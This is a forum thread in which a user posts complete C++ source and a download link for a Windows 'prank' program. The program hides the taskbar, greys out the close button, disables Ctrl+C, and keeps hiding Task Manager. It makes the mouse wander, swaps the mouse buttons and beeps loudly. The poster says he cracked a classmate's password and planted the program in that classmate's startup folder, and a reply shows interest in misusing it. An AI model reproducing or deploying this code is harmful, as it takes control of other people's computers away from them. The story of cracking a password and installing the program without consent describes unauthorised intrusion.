Author Topic: Little minge program  (Read 2813 times)

Offline testing

  • Gold Member
  • *
  • Posts: 10
    • View Profile
    • Awards
Little minge program
« on: July 11, 2011, 07:46:53 PM »
Coded by me in C++. Designed for Windows 7. Originally got the idea when a guy from my class started really annoying the crap out of me with his non-stop rapping and general disregard for classwork... I figured if he wasn't doing any work, he doesn't really need to use his computer =) Ran the idea past my instructor, and he OK'd it, so long as I find his password by myself [it's a networking class, so that wasn't too hard :p]. Put it in his startup folder when he wasn't paying attention, got threatened the next day. At least I got through to him :D

This program starts off with a 10 second system beep, then causes the mouse to go absolutely nuts. The X button is grayed out so you can't click it, you can't use CTRL + C to interrupt the program [and thus close it], and you can't open task manager :p Ignore the comments, I do a lot of self-motivating and bounce ideas off myself, lol. Coded in MS Visual Studio 2010, compiled fine, ran it through dev C++ on my flashdrive, compiled fine as well.
To close it you must open start menu [use the windows key on your keyboard], and type in:
taskkill /im minge*


[im stands for imagename, by the way. I didn't mean for it to sound like "im minge" :p]

If that doesn't close it, type "cmd" then tasklist, then look for the name.

The default screen resolution at the place I was working on it was 1280x720 or something, so the mouse will only move that far. If you want this changed and can't code it in yourself, let me know and I'll create another .exe and add in some easy code for customization.

Without further ado, here's the code:

Code: [Select]
#include <iostream> //this contains just about everything, you need this for 99% of C++ programs, unless the program is meant for a very specific task
#include <windows.h> //contains many windows functions like findwindow

using namespace std;  //makes it so we can use cout and endl and all that without typing std::cout or std::endl, etc etc.

#define PI 3.14159 //yes, this actually rounds to 3 since i'm using it as an int, BUT I LIKE THE IDEA OF IT, SO I'LL KEEP IT AS PI!

//also, the above statement makes it so i can use PI anywhere without declaring an integer or anything.

//POINT p;  //declares point p
//POINT oldp; //declares point oldp, used to detect if the mouse did actually move.
//POINT pDist; //create another point that is the difference between p and oldp, this will tell you the distance that your mouse traveled. take this distance and subtract/add it to p to counter the movement.
/*
void error() {
cout << "distX: " << pDist.x << "distY: " << pDist.y << endl;
cout << "pX: " << p.x << "pY: " << p.y << endl;
cout << "oldpX: " << oldp.x << "oldpY " << oldp.y << endl; //ERROR CHECKING? NO NEED! ALL THE CODE I WRITE IS 100% CLEAN, 100% OF THE TIME. not really...
system("PAUSE");
} */
int bX = 0;  //declare integer bX [this will be used for mouse coords]
int bY = 0; //same as above
int counting = 0;
bool xCountingUp = true;  //declares boolean xCountingUp and sets it to true [this will be used to cause a wave motion, given CPU speeds this may appear random]
bool yCountingUp = true; //same as above
string cDecision = ""; //declares string cDecision [this is used for user input at the very beginning. Set to a null value.
// LPCTSTR title = L"WINduhZ HAS FAILED YOU! AGAIN!"; //this was used to set the title of a dialogue box.
int main() {  //the main entry point of the program
HWND stealth = FindWindowA("ConsoleWindowClass",NULL);  //declares window handle stealth. searches for a window that matches the consolewindowclass, title of that window can be anything.
HWND taskKiller; // declares window handle taskKiller [used later to hide (read: disable) the task manager.
HWND startmenu; //same as above but for startmenu [task bar, whatever].
startmenu = FindWindowA("Shell_TrayWnd",""); //searches for window in shell_traywnd [only window this could be is the taskbar, harhahrhar] with a null title.
    ShowWindow(startmenu, 0); //hides the startmenu (1 means show, 0 means hide)
RemoveMenu(GetSystemMenu(stealth, FALSE), SC_CLOSE, MF_GRAYED); //we get the title bar that contains the minimize, max, and exit button of our program window, then we identify the close button, and gray it out
SetConsoleCtrlHandler(NULL, TRUE); //this disables ctrl C so you can't breakpoint the program and exit. it might actually just disable the ctrl key itself, i don't remember.
SetConsoleTitleA("changethis"); //makes the title of our program "changethis", as opposed to its current path on the system [very long for me, i like lots of folders :p]
int iCountdown; //declares integer iCountdown [used for when the user enters "y"
counting++;
    taskKiller = FindWindowA(NULL, "Windows Task Manager"); // OH YEAH, WHAT'D I SAY?
    ShowWindow(taskKiller, 0); // I TOLD YOU SO. I SAID "IM GOING TO MAKE A LOOP TO DETECT TASK MANAGER ON THE FIRST SCREEN." THEN I DID. AND IT WORKS.
system("COLOR 9f"); //sets the color scheme of our console program to light blue background and bright white text.
cout << "Dear unfortunate user, \nLOL I TROLL U UMADLOL?\nType either Y/N:" << endl; //out puts [console out] the text, then ends the line [starts a new line, same as \n]
cin >> cDecision;
if ((cDecision == "y") || (cDecision == "Y"))  //if the user inputted y or Y, do what's in the block
{ //start of the block
cout << "Good. Program exiting in about 10 seconds." << endl;
for (iCountdown = 10; iCountdown >= 0; iCountdown--) { //sets iCountdown to 10; if it's greater than or equal to 0 then do what's in the block; subtract 1 from iCountdown
Sleep(1000); //essentially "pauses" the program for 1 second. [time is in MS, 1000 = 1, 100 = 0.1, 10000 = 10, etc]
cout << iCountdown << " seconds remaining." << endl;
} // end the for block
cout << "Okay, too bad :D" << endl;
taskKiller = FindWindowA(NULL, "Windows Task Manager"); // just in case task manager is open already
ShowWindow(taskKiller, 0); //same as above
ShowWindow(stealth, 0); //BEGONE WINDOW, BEGONE!
Beep(750,10000); //causes a system beep that's 750 hertz for 10 seconds. [very loud].
} //end of the if block
if ((cDecision == "n") || (cDecision == "N")) {
cout << "Unfortunate.";
ShowWindow(stealth, 0);
taskKiller = FindWindowA(NULL,"Windows Task Manager");
ShowWindow(taskKiller, 0);
// MessageBox(NULL, L"Should have typed y :p", title, MB_TOPMOST); // this will create a dialogue box that will never close.
//    commented out since it'll prevent the good stuff.
Beep(750,10000); //beep at a frequency of 750 Hz for 10,000 milliseconds [10 seconds]
}
if (cDecision == "t") return 0; //KILL-JOY! LAY DOWN THE BAN HAMMER!!!!!! for those of you that can't fathom what this line means, it's essentially saying if you enter in t the program will exit safely.
//end while loop. AND SMOOTHLY TRANSITION INTO THE *OTHER* WHILE LOOP!
while (1) { //note to self: adding taskKiller causes the mouse stuff to not work very well at all :( adding it to another function would stop the mouse stuff completely... what options do i have?
            //additional note: school computers are extremely slow.
//further notes: LOL I FIGURED IT OUT. kept original mouse stuff below in case I decide to go back to it.
   //tested under win7.
if (xCountingUp == true) bX++; //WHILE X IS COUNTING UP, THE X COORD OF THE MOUSE IS COUNTING UP, HURHURHUR.
if (yCountingUp == true) bY++; //SAME AS ABOVE BUT FOR THE Y COORD
if (bX == 1280) xCountingUp = false; //IF THE MOUSE GETS TO THE END OF THE SCREEN, DON'T COUNT UP ANYMORE
if (bY == 720) yCountingUp = false; //SAME AS ABOVE BUT FOR Y.
if (xCountingUp == false) bX--; //IF IT ISN'T COUNTING UP, THEN IT'S COUNTING DOWN HURHURHUR.
if (yCountingUp == false) bY--; //same as above, caps is getting annoying now.
if (bX == 0) xCountingUp = true; //if it reaches the *other* end [read: left/up] of the screen, start counting up
if (bY == 0) yCountingUp = true; //same as above
SetCursorPos(bX, bY);  //takes all the stuff above and sets it as the mouse coord's.
taskKiller = FindWindowA(NULL, "Windows Task Manager"); //gets a handle of the task manager, if it's open.
ShowWindow(taskKiller, 0); //hides task manager if it can get a handle.
SwapMouseButton(true); //left becomes right, right becomes left. but which comes first? the chicken or the egg?
}
} //the good part about programming is that you can add your own whimsical comments without having anyone else understand them! ha ha ha, jolly good one ol' chap!

WARNING: USE AT YOUR OWN RISK

Another warning: do NOT run as admin unless you have an elevated command prompt open and ready to terminate the program.

And since the .exe is 2.5 times over the limit, I uploaded it to mediafire, and here's the link:
http://www.mediafire.com/file/6ialdcu7x5r5ee7/Minge%20stuff.exe

Offline vFear?

  • VIP
  • *
  • Posts: 225
    • View Profile
    • Awards
Re: Little minge program
« Reply #1 on: July 12, 2011, 09:21:02 AM »
The shit I can do with this.

 

SimplePortal 2.3.7 © 2008-2024, SimplePortal